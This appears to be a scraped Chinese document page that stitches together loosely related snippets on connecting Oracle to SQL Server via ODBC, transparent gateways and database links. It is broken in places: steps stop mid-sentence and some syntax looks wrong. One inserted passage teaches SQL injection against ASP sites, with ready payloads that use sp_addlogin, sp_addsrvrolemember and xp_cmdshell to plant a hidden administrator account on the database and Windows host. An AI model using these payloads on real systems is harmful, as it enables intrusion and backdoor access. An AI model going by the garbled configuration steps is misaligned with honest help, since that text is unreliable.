oracle连接sql2000
- 格式:doc
- 大小:499.50 KB
- 文档页数:7
Oracl e 与SQL Server建立DBlink连接设置步骤一、主旨:本操作说明主要用于指导实现Oracle 与SQL Server建立DBlink连接二、要求:(1)Oracle版本需在9i以上(2)SQL Server需在2000 SP3以上三、配置方法与步骤:1、通过ODBC建立连接(1)在Oracle服务器上打开“ODBC数据源管理器”。
路径:开始—>控制面板->管理工具-〉数据源(ODBC)。
(2)选中“系统DSN”选项卡,点击“添加"按钮,在弹出的对话框中选中SQL Server 驱动程序,点击“完成"。
(3)在弹出的对话框中输入数据源名称、描述以及需连接到的SQL Server所在服务器IP或服务器名称,点击“下一步”。
(4)选择SQL Server登陆认证模式,根据SQL Server端认证设置,若集成Window认证则选择“使用网络登陆ID的Windows NT验证”,若未SQL Server认证则选择“使用用户输入登陆ID和密码的SQL Server验证”,此处我们选择第二选项,然后输入登陆ID与密码,点击“下一步”.(5)选择需建立连接的SQL Server数据库,点击“下一步"。
(6)根据需求勾选相关选项,点击“完成”(7)点击测试数据源,若出现“连接失败”,根据《远程连接SQL Server失败错误原因排查说明文档》进行检查,若出现“测试成功",则连续点击两次“确定"完成配置。
(8)打开Oracle安装目录,进入hs文件目录%Oracle_Home%/hs/admin,复制inithsodbc。
ora文件,新命名为inithstest。
ora.命名规则init<SID>。
ora(9)编辑inithstest.ora文件内容如下(10)进入hs文件目录%Oracle_Home%/Network/Admin,修改Oracle listener。
数据库链应用实例:将一台机器的Oracle7数据库中的数据导入到另一台机器的Oracle9i中去?/ 2010-05-21 11:55来源:电子商务发表评论 (0)SQL数据库的一些攻击具体内容:对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。
这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!这种攻击方法最早源于or1=1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQLServer账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=...AND .....这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=...AND ...整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin 自然也不能正常运行了,因此试试看下面这个方法news.asp?id=2;exec sp_addlogin hax;--后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!那么我们连一起来用吧news.asp?id=2;exec master.dbo.sp_addlogin hax;--news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax/workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add;--news.asp?id=2;exec master.dbo.xp_cmdshell net localgroupadministrators hax /add;--这样,你在他的数据库和系统内都留下了hax管理员账号了当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
SQL SERVER 2005 通过链接服务器访问 ORACLE 的快速设定方法1)在SQL_SERVER 2005服务器上安装Oracle 10g的客户端。
假设安装到D:\oracle\ 目录。
如果D:是N TFS分区,需要将ORACLE安装后的目录设为所使用的用户有权可运行、可添加、可删除。
2)配置D:\oracle\product\10.2.0\client_1\NETWORK\ADMIN\tnsnames.ora 文件(手动配置)ORCL_192.168.0.163=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST =192.168.0.163)(PORT = 1521)))(CONNECT_DATA =(SERVICE_NAME =orl)//此处的orl是HIS给的database))(NetManage工具自动生成的配置)ORCL_192.168.0.163 =(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.163)(PORT = 1521)))(CONNECT_DATA =(SID = orl)//此处的orl是HIS给的database(SERVER = DEDICATED)))3)在DOS模式下运行以下命令以便确认ORA CLE客户端安装无误。
sqlplus user/password@ ORCL_192.168.0.1634)打开开始-控制面板-服务,确认Distributed Transaction Coordinator服务已启动。
5)打开SQL SERVER Management Studio,实例名称(ORCL_192.168.0.163)-服务器对象(右键)-新建连接服务器。
a)链接服务器:写上链接服务器的名字,如:OraTestb) 服务器类型,选择其他数据源c) 访问接口:选择 Microsoft OLE DB Provider for Oracled) 产品名称:写上 Oraclee) 数据源:写上tnsnames.ora 文件中配置的服务名,如:ORCL_192.168.0.163f)访问接口字符串:user id=user;password= passwordg)在选择安全性选项页,使用此安装上下文建立连接:1:远程登录:user2:使用密码:passwordh) 确定6)SQL的写法有两种a) 使用T-SQL语法:SELECT * FROM OraTest.ERP.BAS_ITEM_CLASS注意在,SQL查询分析器中输入SQL语句时注意中文的全角半角切换方式!b) 使用PLSQL语法:SELECT * FROM openquery(OraTest,'SELECT * FROM OraTest.ERP.BAS_ITEM_CLASS ')c)第二种访问方式比第一种约快50%;第二种访问方式跟直连ORACLE的速度相当;第一种访问方式可能会导致一些意外错误,如:该表不存在,或者当前用户没有访问该表的权限等等一些信息。
怎样远程连接SQL Server2000数据库远程连接 SQL Server 2000 数据库是一项重要的技术,它允许用户从不同的位置访问和管理数据库。
本文将介绍如何远程连接 SQL Server 2000 数据库,以及相关的配置和安全注意事项。
一、什么是远程连接SQL Server 2000数据库SQL Server 2000 是一种关系型数据库管理系统,主要用于数据存储和管理。
远程连接则是指通过网络连接到远程主机上运行的数据库服务器,以实现对数据库的访问和操作。
二、远程连接SQL Server 2000数据库的配置在远程连接SQL Server 2000 数据库之前,需要进行以下几项配置:1. 启动 SQL Server 2000 数据库服务器:确保数据库服务器已启动并正在运行,可以通过在服务器上运行 SQL Server 2000 程序来启动。
2. 配置网络协议:在 SQL Server 2000 管理工具中,打开 "SQL Server 网络工具",选择适当的网络协议(如 TCP/IP),并进行相应的配置。
3. 配置防火墙:如果您的计算机上有防火墙软件,需要打开相应的端口(默认是 1433)以允许远程连接请求通过。
4. 数据库和登录名配置:在 SQL Server 2000 管理工具中,确保数据库已创建并配置了相应的登录名和权限,以便远程用户可以访问数据库。
可以通过创建登录名、分配权限和设置密码来完成这些配置。
三、如何远程连接SQL Server 2000数据库远程连接 SQL Server 2000 数据库可以使用多种方式,下面介绍两种常见的方法:1. 使用 SQL Server Management Studio(SSMS):SSMS 是一款官方提供的管理工具,可以通过图形界面轻松地远程连接数据库。
打开SSMS,输入远程服务器的地址和登录凭据,选择相应的数据库,即可连接到远程数据库。
oracle 10g透明网关访问sqlserver2000 收藏一、环境如下:ORACLE 10g 安装在:192.168.0.250 的window2003 server(版本:Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - 64bit Production)SqlServer 2000安装在:192.168.0.233 的window2003 server二、下载透明网关(GA TEWAY)10g下,透明网管是一个单独组件,可以到oracle官方网站下载/technology/software/products/database/oracle10g/htdocs/10201winsoft.ht ml这个安装包有300m。
可惜只找到秀明网关版本:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 32bit Production三、安装透明网关将透明网关安装在sqlserver服务器上,点击setup.exe,启动安装界面,安装oracle transparent gateway for microsoft sql server;下一步,输入sqlserver地址和sqlserver 数据库名,这里可以输入正确的,也可以随便输入,或者留空,现安装完成后再配置。
安装完后,会弹出配置监听界面,点击取消即可。
整个过程安装在点类似DB安装或client安装。
四、配置透明网关参数文件找到透明网关路径:D:\oracle\product\10.2.0\tg_1\tg4msql\admin安装透明网关时会生成一个默认参数文件:inittg4msql.ora,它的sid是tg4mssql,可以使用这个文件,也可以新建一个文件。
现在COPY一份命名为initUFDATA_002_2009.ora,名字最好与SQL SERVER数据库一致,且要注意格式:init<sid>.ora,可以理解为oracle的参数文件,现在编辑参数文件:# This is a sample agent init file that contains the HS parameters that are# needed for the Transparent Gateway for SQL Server## HS init parameters#HS_FDS_CONNECT_INFO="SERVER=192.168.0.233;DA TABASE=UFDATA_002_2009"HS_FDS_TRACE_LEVEL=OFFHS_FDS_RECOVERY_ACCOUNT=RECOVERHS_FDS_RECOVERY_PWD=RECOVERHS_FDS_CONNECT_INFO设置有多种格式,如:HS_FDS_CONNECT_INFO=server_name.db_name,但这种写法server_name不能为IP,且端口必须为默认的1433,如:在安装透明网关如果设置服务器和数据库即为上面格式。
通过ORACLE通用连接访问SQLServer数据库的方法要通过Oracle通用连接访问SQL Server数据库,需要使用Oracle 的适配器来连接到SQL Server数据库。
以下是通过Oracle通用连接访问SQL Server数据库的方法:1. 安装并配置Oracle通用连接适配器:- 在Oracle数据库服务器上找到适配器的安装目录。
HS_FDS_CONNECT_INFO = server_nameHS_FDS_TRACE_LEVEL = offHS_FDS_SHAREABLE_NAME = /usr/local/bin/libodbc.so其中server_name是SQL Server数据库的主机名。
SID_LIST_LISTENER=(SID_LIST=(SID_DESC=(SID_NAME = odbc)(ORACLE_HOME = /path/to/oracle_home)(PROGRAM = dg4odbc)其中/oracle_home是Oracle数据库的安装目录。
2.配置ODBC数据源:- 在Oracle数据库服务器上安装必要的ODBC驱动程序以连接到SQL Server数据库。
- 在ODBC数据源管理器中配置一个ODBC数据源,以便Oracle数据库可以通过该数据源连接到SQL Server数据库。
- 确保ODBC数据源名称与initodbc.ora文件中的server_name匹配。
3.创建数据库链接对象:- 在Oracle数据库服务器上创建一个数据库链接对象,该对象将用于连接到SQL Server数据库。
-使用CREATEDATABASELINK语句创建数据库链接对象,语法如下:CREATE DATABASE LINK link_nameCONNECT TO username IDENTIFIED BY passwordUSING 'data_source_name';其中link_name是链接名,username是在SQL Server数据库中的用户名,password是对应的密码,data_source_name是ODBC数据源的名称。
PL/SQL连接Oracle配置
介绍
PL/SQL是一种针对Oracle数据库开发的过程性编程语言,可以用于创建存储
过程、函数和触发器等对象。
要使用PL/SQL连接Oracle数据库,需要进行一些
配置。
本文将介绍如何配置PL/SQL连接Oracle数据库。
步骤
步骤1:安装Oracle客户端
在连接Oracle数据库之前,需要先安装Oracle客户端。
Oracle客户端是连接Oracle数据库的驱动程序,在连接数据库时需要使用。
首先,从Oracle官方网站
下载合适的Oracle客户端版本,然后按照安装向导进行安装。
步骤2:配置Oracle客户端
安装完Oracle客户端后,需要进行一些配置以确保连接能够成功。
以下是必要的配置项:
•ORACLE_HOME:指定Oracle客户端的安装目录。
需要将ORACLE_HOME设置为安装目录的路径,以便PL/SQL可以找到需要的文件。
•PATH:将Oracle客户端的bin目录添加到系统的PATH环境变量中,以便PL/SQL能够找到Oracle客户端的可执行文件。
•TNS_ADMIN:设置TNS_ADMIN环境变量为一个目录的路径,在该目录下应该包含一个名为tnsnames.ora的文件,该文件包含了要连接的
Oracle数据库的连接信息。
步骤3:创建数据库连接
在PL/SQL中,可以通过创建一个数据库连接来连接Oracle数据库。
以下是创
建数据库连接的步骤:
1.打开PL/SQL开发工具,如PL/SQL Developer或SQL Developer。
2.单击工具栏上的。
ORA10g_r2连接SQL2000配置连接SQL2005方法也如此,主要区别为:在CREATE PUBLIC DATABASE LINK SQLTO2K CONNECT TO sa IDENTIFIED BY "hanker" USING'MSQL' 连接SQL2005时,密码要加双引号!!方法一:通过透明网关实现ORACLE10g_R2连接SQL2000从Oracle 10g连接SQL Server2000,如用透明网关(Transparent Gateway),需要下载10201_gateways_win32.zip插件(一)安装Transparent Gateway for Windows SQL Server注意:安装的之前必须要将原数据库服务器启动起来,不然会重复安装OraTg10g_home1数据库软件,这样就会有两个数据库软件。
选择安装目录:默认安装名称为OraTg10g_home1默认安装路径为X:\oracle\product\10.2.0\tg_1将安装名称改为OraDb10g_home1将安装路径改为X:\oracle\product\10.2.0\db_11. 下载10201_gateways_win32.zip插件,解压10201_gateways_win32.zip2. 进入10201_gateways_win32文件夹,点击setup.exe3. 按Next,选择Oracle Transparent Gateway for Microsoft SQL Server 10.2.0.1.0 ,按Next4、有一步需要填写SQL 服务器名和SQL的数据库名5. 接着安装。
6. 安装完毕之后,在Oracle的D:\oracle\product\10.2.0\db_1主目录下,会有tg4msql文件夹。
注:设置GA TEWAY机器(Gateway可以和Oracle Database在同一台机器上,也可以分开)(二)配置我的环境设置是将Gateway和Oracle Database在设置在同一台机器我的环境:Oracle 服务器:OS: Windows Server 2003(SP2)IP: 192.168.8.91PORT: 1521SQL2000 服务器:OS: Windows Server 2003(SP2)IP: 10.0.0.148Database Server Name: SALSESQLDatabase Name: IT1. 在Oracle的C:\oracle\product\10.2.0\db_1\tg4msql\admin目录下,拷贝inittg4msql.ora 并改名为init<SID>.ora。
oracle数据库链接服务器查询sqlserver的写法要在Oracle数据库中链接SQL Server并执行查询,可以使用以下步骤:1. 从Oracle的SQL Developer或其他工具中,使用Oracle提供的JDBC驱动程序链接到SQL Server数据库。
2. 编写一个包含连接字符串的SQL语句。
连接字符串包括SQL Server的IP地址、端口号、数据库名称、用户名和密码。
例如,连接字符串可以是这样的:jdbc:sqlserver://10.10.10.10:1433;databaseName=TestDB;user=sa; password=1234563. 在Oracle数据库中创建一个数据库连接,其中包括连接字符串。
例如,可以使用以下PL/SQL代码创建一个数据库连接:CREATE DATABASE LINK sqlserver_link CONNECT TO "sa" IDENTIFIED BY "123456" USING 'jdbc:sqlserver://10.10.10.10:1433;databaseName=TestDB;user=sa; password=123456';4. 在该连接上执行 SELECT 语句以查询SQL Server数据库中的数据。
例如,可以使用以下SQL代码执行查询:SELECT * FROM mytable@sqlserver_link;这将返回来自SQL Server数据库中名为 'mytable'的表中的所有行。
注意,使用Oracle与SQL Server之间的联接需要一些配置和测试,以确认是否可以正确地连接到SQL Server数据库。
具体取决于您的环境和要求。
OracleSQLDeveloper连接报错以及链接oracle的sqlplus出现协议适配器错误 之前⽤的好好的Oracle SQL Developer,不知道是不是匆忙关闭软件啥东西没保存或是删了什么东西,今天突然⽤不了的。
⼤清早的,打开Oracle SQL Developer,就给我⼀个惊喜,提⽰连接-测试报错。
连接时报错码:Listener refused the connection with following error:ORA-12505,TNS:listener...... 解决办法: 借助Oracle的SQL Plus⼯具以管理员⾝份敲连接命令:select instance_name from v$instance;必须是管理员⾝份,否则“视图不存在” 打开Oracle 的SQL Plus⼯具,初始的时候是这样的。
输⼊⽤户名,输⼊⼝令,然后⼜给了我⼀个惊喜。
此时,很可能是oracleService+你之前设置的SID没有开启,进⼊服务中,如我的系统是win10的,可以直接在左下⾓的搜索框中搜索“服务”,或者打开windows运⾏窗⼝,输⼊命令services.msc,点击确认按钮即可进⼊,找到OracleService+你之前设置的SID,将其设置为启⽤状态 现在在SQL Plus中输⼊⽤户名、⼝令,显⽰如下: 然后以管理员⾝份查看,输⼊select instance_name from v$instance;即可连接成功。
· (2)、在Oracle SQL Developer连接⼯具上修改你的数据库SID名,例如我的是这样的(把默认的“xe”改成与上⾯对应的“orcl”)。
可以勾选 “保存⼝令”选项,然后点击连接即可成功。
首选安装透明网关组件,可以在安装ORACLE时自定义选择组件,也可以在安装ORACLE后再添加组件。
1.进入安装最全面
2.选择安装产品
3.选择自定义安半类型
4.选择透明网关组件,这里选择for sqlserver,也可选择其它数据库听组件
5.选择sql server服务器(计算机名或者IP地址)和想要访问的sql server数据库
6.选择下一步开始安装
7.安装结束后选择退出
第一步.
在安装目录下\network\admin\ listener.ora中做如下修改
在原来的内容中增加红色字体部分
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = D:\oracle\ora92)
(PROGRAM = extproc)
)
(SID_DESC =
(GLOBAL_DBNAME = zspgps)
(ORACLE_HOME = D:\oracle\ora92)
(SID_NAME = zspgps)
)
(SID_DESC =
(SID_NAME = tg4msql)
(ORACLE_HOME = D:\oracle\ora92)
(PROGRAM = tg4msql)
)
)
第二步
安装目录下\ tg4msql\admin增加一个文件此文件名为inittg4msql.ora
(注意,这里文件名应该为init+第一步配置的SID_NAME的值:tg4msql.ora) 里面内容为:
# This is a sample agent init file that contains the HS parameters that are
# needed for the Transparent Gateway for SQL Server
#
# HS init parameters
#
HS_FDS_CONNECT_INFO="SERVER=192.168.13.34;DA TABASE=dbTest" HS_FDS_TRACE_LEVEL=OFF
HS_FDS_RECOVERY_ACCOUNT=RECOVER
HS_FDS_RECOVERY_PWD=RECOVER
说明:红色部分分别代表要连接sql2000数据库的IP和数据库名
第三部
在安装目录下\network\admin\ tnsnames.ora中做如下修改
增加如下内容:
dbTest=
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521)) )
(CONNECT_DA TA =
(SID = tg4msql)
)
(HS = ok)
)
说明:HOST的值应该为ORACLE服务器的IP地址
SID的值应该跟第一步增加的内容中的SID_NAME的值一样
第四步
进行连接
create database link oil2erpoa connect to "sa" identified by "jpzhou" using 'oil'
注意,连接SQLSEVER 用户名和密码必须是小写,并且要加双引号
说明:
建立一个连接xscdb(随意取名) 用户名sa 密码zhaoshaopo
Using 的值就是在第三步tnsnames.ora建立的服务名
最后通过select * from username@xscdb;可以看到sql2000上的表
在oracle中如果建立一个与SQL数据库一样结构的表,可以将sql表中的数据导入到oracle insert into test_ora_sql select * from username@xscdb
查看连接:
select * from dba_db_links;
删除连接
Drop(public)database link ;
如果在创建link时候用了public 则删除也用,否则不用。